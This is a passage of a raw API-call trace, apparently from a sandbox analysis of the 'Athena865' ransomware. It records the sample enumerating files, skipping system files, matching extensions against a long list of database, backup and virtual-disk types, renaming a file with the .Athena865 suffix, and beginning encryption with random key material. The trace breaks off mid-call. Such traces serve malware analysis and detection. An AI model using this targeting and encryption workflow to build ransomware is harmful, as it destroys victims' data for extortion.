ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.188] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.188] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0103.188] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.188] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.188] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".") returned 1 [0103.188] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="..") returned 1 [0103.188] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="windows") returned -1 [0103.188] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="bootmgr") returned 1 [0103.188] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="temp") returned -1 [0103.188] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="pagefile.sys") returned -1 [0103.188] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="boot") returned 1 [0103.188] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="ids.txt") returned 1 [0103.188] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="ntuser.dat") returned -1 [0103.188] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="perflogs") returned -1 [0103.188] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="MSBuild") returned -1 [0103.188] lstrlenW (lpString="IE Add-on site.url") returned 18 [0103.188] lstrcpyW (in: lpString1=0x241e8c6, lpString2="IE Add-on site.url" | out: lpString1="IE Add-on site.url") returned="IE Add-on site.url" [0103.188] lstrlenW (lpString="IE Add-on site.url") returned 18 [0103.188] lstrlenW (lpString="Athena865") returned 9 [0103.188] lstrcmpiW (lpString1=" site.url", lpString2="Athena865") returned -1 [0103.189] lstrlenW (lpString=".dll") returned 4 [0103.189] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".dll") returned 1 [0103.189] lstrlenW (lpString=".lnk") returned 4 [0103.189] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".lnk") returned 1 [0103.189] lstrlenW (lpString=".ini") returned 4 [0103.189] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".ini") returned 1 [0103.189] lstrlenW (lpString=".sys") returned 4 [0103.189] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".sys") returned 1 [0103.189] lstrlenW (lpString="IE Add-on site.url") returned 18 [0103.189] lstrlenW (lpString="bak") returned 3 [0103.189] lstrcmpiW (lpString1="url", lpString2="bak") returned 1 [0103.189] lstrlenW (lpString="ba_") returned 3 [0103.189] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1 [0103.189] lstrlenW (lpString="dbb") returned 3 [0103.189] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1 [0103.189] lstrlenW (lpString="vmdk") returned 4 [0103.189] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1 [0103.189] lstrlenW (lpString="rar") returned 3 [0103.189] lstrcmpiW (lpString1="url", lpString2="rar") returned 1 [0103.189] lstrlenW (lpString="zip") returned 3 [0103.189] lstrcmpiW (lpString1="url", lpString2="zip") returned -1 [0103.189] lstrlenW (lpString="tgz") returned 3 [0103.189] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1 [0103.189] lstrlenW (lpString="vbox") returned 4 [0103.189] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1 [0103.189] lstrlenW (lpString="vdi") returned 3 [0103.189] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1 [0103.189] lstrlenW (lpString="vhd") returned 3 [0103.189] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1 [0103.189] lstrlenW (lpString="vhdx") returned 4 [0103.189] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1 [0103.190] lstrlenW (lpString="avhd") returned 4 [0103.190] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1 [0103.190] lstrlenW (lpString="db") returned 2 [0103.190] lstrcmpiW (lpString1="rl", lpString2="db") returned 1 [0103.190] lstrlenW (lpString="db2") returned 3 [0103.190] lstrcmpiW (lpString1="url", lpString2="db2") returned 1 [0103.190] lstrlenW (lpString="db3") returned 3 [0103.190] lstrcmpiW (lpString1="url", lpString2="db3") returned 1 [0103.190] lstrlenW (lpString="dbf") returned 3 [0103.190] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1 [0103.190] lstrlenW (lpString="mdf") returned 3 [0103.190] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1 [0103.190] lstrlenW (lpString="mdb") returned 3 [0103.190] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1 [0103.190] lstrlenW (lpString="sql") returned 3 [0103.190] lstrcmpiW (lpString1="url", lpString2="sql") returned 1 [0103.190] lstrlenW (lpString="sqlite") returned 6 [0103.190] lstrcmpiW (lpString1="te.url", lpString2="sqlite") returned 1 [0103.190] lstrlenW (lpString="sqlite3") returned 7 [0103.190] lstrcmpiW (lpString1="ite.url", lpString2="sqlite3") returned -1 [0103.190] lstrlenW (lpString="sqlitedb") returned 8 [0103.190] lstrcmpiW (lpString1="site.url", lpString2="sqlitedb") returned -1 [0103.190] lstrlenW (lpString="xml") returned 3 [0103.190] lstrcmpiW (lpString1="url", lpString2="xml") returned -1 [0103.190] lstrlenW (lpString="$er") returned 3 [0103.190] lstrcmpiW (lpString1="url", lpString2="$er") returned 1 [0103.190] lstrlenW (lpString="4dd") returned 3 [0103.190] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1 [0103.190] lstrlenW (lpString="4dl") returned 3 [0103.190] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1 [0103.190] lstrlenW (lpString="^^^") returned 3 [0103.191] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1 [0103.191] lstrlenW (lpString="abs") returned 3 [0103.191] lstrcmpiW (lpString1="url", lpString2="abs") returned 1 [0103.191] lstrlenW (lpString="abx") returned 3 [0103.191] lstrcmpiW (lpString1="url", lpString2="abx") returned 1 [0103.191] lstrlenW (lpString="accdb") returned 5 [0103.191] lstrcmpiW (lpString1="e.url", lpString2="accdb") returned 1 [0103.191] lstrlenW (lpString="accdc") returned 5 [0103.191] lstrcmpiW (lpString1="e.url", lpString2="accdc") returned 1 [0103.191] lstrlenW (lpString="accde") returned 5 [0103.191] lstrcmpiW (lpString1="e.url", lpString2="accde") returned 1 [0103.191] lstrlenW (lpString="accdr") returned 5 [0103.191] lstrcmpiW (lpString1="e.url", lpString2="accdr") returned 1 [0103.191] lstrlenW (lpString="accdt") returned 5 [0103.191] lstrcmpiW (lpString1="e.url", lpString2="accdt") returned 1 [0103.191] lstrlenW (lpString="accdw") returned 5 [0103.191] lstrcmpiW (lpString1="e.url", lpString2="accdw") returned 1 [0103.191] lstrlenW (lpString="accft") returned 5 [0103.191] lstrcmpiW (lpString1="e.url", lpString2="accft") returned 1 [0103.191] lstrlenW (lpString="adb") returned 3 [0103.191] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0103.191] lstrlenW (lpString="adb") returned 3 [0103.191] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0103.191] lstrlenW (lpString="ade") returned 3 [0103.191] lstrcmpiW (lpString1="url", lpString2="ade") returned 1 [0103.191] lstrlenW (lpString="adf") returned 3 [0103.191] lstrcmpiW (lpString1="url", lpString2="adf") returned 1 [0103.191] lstrlenW (lpString="adn") returned 3 [0103.191] lstrcmpiW (lpString1="url", lpString2="adn") returned 1 [0103.191] lstrlenW (lpString="adp") returned 3 [0103.191] lstrcmpiW (lpString1="url", lpString2="adp") returned 1 [0103.192] lstrlenW (lpString="alf") returned 3 [0103.192] lstrcmpiW (lpString1="url", lpString2="alf") returned 1 [0103.192] lstrlenW (lpString="ask") returned 3 [0103.192] lstrcmpiW (lpString1="url", lpString2="ask") returned 1 [0103.192] lstrlenW (lpString="btr") returned 3 [0103.192] lstrcmpiW (lpString1="url", lpString2="btr") returned 1 [0103.192] lstrlenW (lpString="cat") returned 3 [0103.192] lstrcmpiW (lpString1="url", lpString2="cat") returned 1 [0103.192] lstrlenW (lpString="cdb") returned 3 [0103.192] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1 [0103.192] lstrlenW (lpString="ckp") returned 3 [0103.192] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1 [0103.192] lstrlenW (lpString="cma") returned 3 [0103.192] lstrcmpiW (lpString1="url", lpString2="cma") returned 1 [0103.192] lstrlenW (lpString="cpd") returned 3 [0103.192] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1 [0103.192] lstrlenW (lpString="dacpac") returned 6 [0103.192] lstrcmpiW (lpString1="te.url", lpString2="dacpac") returned 1 [0103.192] lstrlenW (lpString="dad") returned 3 [0103.192] lstrcmpiW (lpString1="url", lpString2="dad") returned 1 [0103.192] lstrlenW (lpString="dadiagrams") returned 10 [0103.192] lstrcmpiW (lpString1="n site.url", lpString2="dadiagrams") returned 1 [0103.192] lstrlenW (lpString="daschema") returned 8 [0103.192] lstrcmpiW (lpString1="site.url", lpString2="daschema") returned 1 [0103.192] lstrlenW (lpString="db-journal") returned 10 [0103.192] lstrcmpiW (lpString1="n site.url", lpString2="db-journal") returned 1 [0103.192] lstrlenW (lpString="db-shm") returned 6 [0103.192] lstrcmpiW (lpString1="te.url", lpString2="db-shm") returned 1 [0103.192] lstrlenW (lpString="db-wal") returned 6 [0103.192] lstrcmpiW (lpString1="te.url", lpString2="db-wal") returned 1 [0103.193] lstrlenW (lpString="dbc") returned 3 [0103.193] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1 [0103.193] lstrlenW (lpString="dbs") returned 3 [0103.193] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1 [0103.193] lstrlenW (lpString="dbt") returned 3 [0103.193] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1 [0103.193] lstrlenW (lpString="dbv") returned 3 [0103.193] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1 [0103.193] lstrlenW (lpString="dbx") returned 3 [0103.193] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1 [0103.193] lstrlenW (lpString="dcb") returned 3 [0103.193] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1 [0103.193] lstrlenW (lpString="dct") returned 3 [0103.193] lstrcmpiW (lpString1="url", lpString2="dct") returned 1 [0103.193] lstrlenW (lpString="dcx") returned 3 [0103.193] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1 [0103.193] lstrlenW (lpString="ddl") returned 3 [0103.193] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1 [0103.193] lstrlenW (lpString="dlis") returned 4 [0103.193] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1 [0103.193] lstrlenW (lpString="dp1") returned 3 [0103.193] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1 [0103.193] lstrlenW (lpString="dqy") returned 3 [0103.193] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1 [0103.193] lstrlenW (lpString="dsk") returned 3 [0103.193] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1 [0103.193] lstrlenW (lpString="dsn") returned 3 [0103.193] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1 [0103.193] lstrlenW (lpString="dtsx") returned 4 [0103.193] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1 [0103.193] lstrlenW (lpString="dxl") returned 3 [0103.194] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1 [0103.194] lstrlenW (lpString="eco") returned 3 [0103.194] lstrcmpiW (lpString1="url", lpString2="eco") returned 1 [0103.194] lstrlenW (lpString="ecx") returned 3 [0103.194] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1 [0103.194] lstrlenW (lpString="edb") returned 3 [0103.194] lstrcmpiW (lpString1="url", lpString2="edb") returned 1 [0103.194] lstrlenW (lpString="epim") returned 4 [0103.194] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1 [0103.194] lstrlenW (lpString="fcd") returned 3 [0103.194] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1 [0103.194] lstrlenW (lpString="fdb") returned 3 [0103.194] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1 [0103.194] lstrlenW (lpString="fic") returned 3 [0103.194] lstrcmpiW (lpString1="url", lpString2="fic") returned 1 [0103.194] lstrlenW (lpString="flexolibrary") returned 12 [0103.194] lstrcmpiW (lpString1="-on site.url", lpString2="flexolibrary") returned 1 [0103.194] lstrlenW (lpString="fm5") returned 3 [0103.194] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1 [0103.194] lstrlenW (lpString="fmp") returned 3 [0103.194] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1 [0103.194] lstrlenW (lpString="fmp12") returned 5 [0103.194] lstrcmpiW (lpString1="e.url", lpString2="fmp12") returned -1 [0103.194] lstrlenW (lpString="fmpsl") returned 5 [0103.194] lstrcmpiW (lpString1="e.url", lpString2="fmpsl") returned -1 [0103.194] lstrlenW (lpString="fol") returned 3 [0103.194] lstrcmpiW (lpString1="url", lpString2="fol") returned 1 [0103.194] lstrlenW (lpString="fp3") returned 3 [0103.194] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1 [0103.194] lstrlenW (lpString="fp4") returned 3 [0103.195] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1 [0103.195] lstrlenW (lpString="fp5") returned 3 [0103.195] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1 [0103.195] lstrlenW (lpString="fp7") returned 3 [0103.195] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1 [0103.195] lstrlenW (lpString="fpt") returned 3 [0103.195] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1 [0103.195] lstrlenW (lpString="frm") returned 3 [0103.195] lstrcmpiW (lpString1="url", lpString2="frm") returned 1 [0103.195] lstrlenW (lpString="gdb") returned 3 [0103.195] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1 [0103.195] lstrlenW (lpString="gdb") returned 3 [0103.195] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1 [0103.195] lstrlenW (lpString="grdb") returned 4 [0103.195] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1 [0103.195] lstrlenW (lpString="gwi") returned 3 [0103.195] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1 [0103.195] lstrlenW (lpString="hdb") returned 3 [0103.195] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1 [0103.195] lstrlenW (lpString="his") returned 3 [0103.195] lstrcmpiW (lpString1="url", lpString2="his") returned 1 [0103.195] lstrlenW (lpString="ib") returned 2 [0103.195] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1 [0103.195] lstrlenW (lpString="idb") returned 3 [0103.195] lstrcmpiW (lpString1="url", lpString2="idb") returned 1 [0103.195] lstrlenW (lpString="ihx") returned 3 [0103.195] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1 [0103.195] lstrlenW (lpString="itdb") returned 4 [0103.195] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1 [0103.195] lstrlenW (lpString="itw") returned 3 [0103.196] lstrcmpiW (lpString1="url", lpString2="itw") returned 1 [0103.196] lstrlenW (lpString="jet") returned 3 [0103.196] lstrcmpiW (lpString1="url", lpString2="jet") returned 1 [0103.196] lstrlenW (lpString="jtx") returned 3 [0103.196] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1 [0103.196] lstrlenW (lpString="kdb") returned 3 [0103.196] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1 [0103.196] lstrlenW (lpString="kexi") returned 4 [0103.196] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1 [0103.196] lstrlenW (lpString="kexic") returned 5 [0103.196] lstrcmpiW (lpString1="e.url", lpString2="kexic") returned -1 [0103.196] lstrlenW (lpString="kexis") returned 5 [0103.196] lstrcmpiW (lpString1="e.url", lpString2="kexis") returned -1 [0103.196] lstrlenW (lpString="lgc") returned 3 [0103.196] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1 [0103.196] lstrlenW (lpString="lwx") returned 3 [0103.196] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1 [0103.196] lstrlenW (lpString="maf") returned 3 [0103.196] lstrcmpiW (lpString1="url", lpString2="maf") returned 1 [0103.196] lstrlenW (lpString="maq") returned 3 [0103.196] lstrcmpiW (lpString1="url", lpString2="maq") returned 1 [0103.196] lstrlenW (lpString="mar") returned 3 [0103.196] lstrcmpiW (lpString1="url", lpString2="mar") returned 1 [0103.196] lstrlenW (lpString="marshal") returned 7 [0103.196] lstrcmpiW (lpString1="ite.url", lpString2="marshal") returned -1 [0103.197] lstrlenW (lpString="mas") returned 3 [0103.197] lstrcmpiW (lpString1="url", lpString2="mas") returned 1 [0103.197] lstrlenW (lpString="mav") returned 3 [0103.197] lstrcmpiW (lpString1="url", lpString2="mav") returned 1 [0103.197] lstrlenW (lpString="maw") returned 3 [0103.197] lstrcmpiW (lpString1="url", lpString2="maw") returned 1 [0103.197] lstrlenW (lpString="mdbhtml") returned 7 [0103.197] lstrcmpiW (lpString1="ite.url", lpString2="mdbhtml") returned -1 [0103.197] lstrlenW (lpString="mdn") returned 3 [0103.197] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1 [0103.197] lstrlenW (lpString="mdt") returned 3 [0103.197] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1 [0103.197] lstrlenW (lpString="mfd") returned 3 [0103.197] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1 [0103.197] lstrlenW (lpString="mpd") returned 3 [0103.197] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1 [0103.197] lstrlenW (lpString="mrg") returned 3 [0103.197] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1 [0103.197] lstrlenW (lpString="mud") returned 3 [0103.197] lstrcmpiW (lpString1="url", lpString2="mud") returned 1 [0103.197] lstrlenW (lpString="mwb") returned 3 [0103.197] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1 [0103.197] lstrlenW (lpString="myd") returned 3 [0103.197] lstrcmpiW (lpString1="url", lpString2="myd") returned 1 [0103.197] lstrlenW (lpString="ndf") returned 3 [0103.197] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1 [0103.197] lstrlenW (lpString="nnt") returned 3 [0103.197] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1 [0103.197] lstrlenW (lpString="nrmlib") returned 6 [0103.197] lstrcmpiW (lpString1="te.url", lpString2="nrmlib") returned 1 [0103.198] lstrlenW (lpString="ns2") returned 3 [0103.198] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1 [0103.198] lstrlenW (lpString="ns3") returned 3 [0103.198] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1 [0103.198] lstrlenW (lpString="ns4") returned 3 [0103.198] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1 [0103.198] lstrlenW (lpString="nsf") returned 3 [0103.198] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1 [0103.198] lstrlenW (lpString="nv") returned 2 [0103.198] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1 [0103.198] lstrlenW (lpString="nv2") returned 3 [0103.198] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1 [0103.198] lstrlenW (lpString="nwdb") returned 4 [0103.198] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1 [0103.198] lstrlenW (lpString="nyf") returned 3 [0103.198] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1 [0103.198] lstrlenW (lpString="odb") returned 3 [0103.198] lstrcmpiW (lpString1="url", lpString2="odb") returned 1 [0103.198] lstrlenW (lpString="odb") returned 3 [0103.198] lstrcmpiW (lpString1="url", lpString2="odb") returned 1 [0103.198] lstrlenW (lpString="oqy") returned 3 [0103.198] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1 [0103.198] lstrlenW (lpString="ora") returned 3 [0103.198] lstrcmpiW (lpString1="url", lpString2="ora") returned 1 [0103.198] lstrlenW (lpString="orx") returned 3 [0103.198] lstrcmpiW (lpString1="url", lpString2="orx") returned 1 [0103.198] lstrlenW (lpString="owc") returned 3 [0103.198] lstrcmpiW (lpString1="url", lpString2="owc") returned 1 [0103.198] lstrlenW (lpString="p96") returned 3 [0103.199] lstrcmpiW (lpString1="url", lpString2="p96") returned 1 [0103.199] lstrlenW (lpString="p97") returned 3 [0103.199] lstrcmpiW (lpString1="url", lpString2="p97") returned 1 [0103.199] lstrlenW (lpString="pan") returned 3 [0103.199] lstrcmpiW (lpString1="url", lpString2="pan") returned 1 [0103.199] lstrlenW (lpString="pdb") returned 3 [0103.199] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1 [0103.199] lstrlenW (lpString="pdm") returned 3 [0103.199] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1 [0103.199] lstrlenW (lpString="pnz") returned 3 [0103.199] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1 [0103.199] lstrlenW (lpString="qry") returned 3 [0103.199] lstrcmpiW (lpString1="url", lpString2="qry") returned 1 [0103.199] lstrlenW (lpString="qvd") returned 3 [0103.199] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1 [0103.199] lstrlenW (lpString="rbf") returned 3 [0103.199] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1 [0103.199] lstrlenW (lpString="rctd") returned 4 [0103.199] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1 [0103.199] lstrlenW (lpString="rod") returned 3 [0103.199] lstrcmpiW (lpString1="url", lpString2="rod") returned 1 [0103.199] lstrlenW (lpString="rodx") returned 4 [0103.199] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1 [0103.199] lstrlenW (lpString="rpd") returned 3 [0103.199] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1 [0103.199] lstrlenW (lpString="rsd") returned 3 [0103.199] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1 [0103.199] lstrlenW (lpString="sas7bdat") returned 8 [0103.199] lstrcmpiW (lpString1="site.url", lpString2="sas7bdat") returned 1 [0103.199] lstrlenW (lpString="sbf") returned 3 [0103.200] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1 [0103.200] lstrlenW (lpString="scx") returned 3 [0103.200] lstrcmpiW (lpString1="url", lpString2="scx") returned 1 [0103.200] lstrlenW (lpString="sdb") returned 3 [0103.200] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1 [0103.200] lstrlenW (lpString="sdc") returned 3 [0103.200] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1 [0103.200] lstrlenW (lpString="sdf") returned 3 [0103.200] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1 [0103.200] lstrlenW (lpString="sis") returned 3 [0103.200] lstrcmpiW (lpString1="url", lpString2="sis") returned 1 [0103.200] lstrlenW (lpString="spq") returned 3 [0103.200] lstrcmpiW (lpString1="url", lpString2="spq") returned 1 [0103.200] lstrlenW (lpString="te") returned 2 [0103.200] lstrcmpiW (lpString1="rl", lpString2="te") returned -1 [0103.200] lstrlenW (lpString="teacher") returned 7 [0103.200] lstrcmpiW (lpString1="ite.url", lpString2="teacher") returned -1 [0103.200] lstrlenW (lpString="tmd") returned 3 [0103.200] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1 [0103.200] lstrlenW (lpString="tps") returned 3 [0103.200] lstrcmpiW (lpString1="url", lpString2="tps") returned 1 [0103.200] lstrlenW (lpString="trc") returned 3 [0103.200] lstrcmpiW (lpString1="url", lpString2="trc") returned 1 [0103.200] lstrlenW (lpString="trc") returned 3 [0103.200] lstrcmpiW (lpString1="url", lpString2="trc") returned 1 [0103.200] lstrlenW (lpString="trm") returned 3 [0103.200] lstrcmpiW (lpString1="url", lpString2="trm") returned 1 [0103.200] lstrlenW (lpString="udb") returned 3 [0103.200] lstrcmpiW (lpString1="url", lpString2="udb") returned 1 [0103.200] lstrlenW (lpString="udl") returned 3 [0103.201] lstrcmpiW (lpString1="url", lpString2="udl") returned 1 [0103.201] lstrlenW (lpString="usr") returned 3 [0103.201] lstrcmpiW (lpString1="url", lpString2="usr") returned -1 [0103.201] lstrlenW (lpString="v12") returned 3 [0103.201] lstrcmpiW (lpString1="url", lpString2="v12") returned -1 [0103.201] lstrlenW (lpString="vis") returned 3 [0103.201] lstrcmpiW (lpString1="url", lpString2="vis") returned -1 [0103.201] lstrlenW (lpString="vpd") returned 3 [0103.201] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1 [0103.201] lstrlenW (lpString="vvv") returned 3 [0103.201] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1 [0103.201] lstrlenW (lpString="wdb") returned 3 [0103.201] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1 [0103.201] lstrlenW (lpString="wmdb") returned 4 [0103.201] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1 [0103.201] lstrlenW (lpString="wrk") returned 3 [0103.201] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1 [0103.201] lstrlenW (lpString="xdb") returned 3 [0103.201] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1 [0103.201] lstrlenW (lpString="xld") returned 3 [0103.201] lstrcmpiW (lpString1="url", lpString2="xld") returned -1 [0103.201] lstrlenW (lpString="xmlff") returned 5 [0103.201] lstrcmpiW (lpString1="e.url", lpString2="xmlff") returned -1 [0103.201] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url.Athena865") returned 91 [0103.201] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\ie add-on site.url.athena865"), dwFlags=0x1) returned 1 [0103.203] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\ie add-on site.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.203] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0103.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0103.204] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.205] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.205] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.205] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0103.207] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0103.207] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.208] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.208] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.209] HeapFree (in: 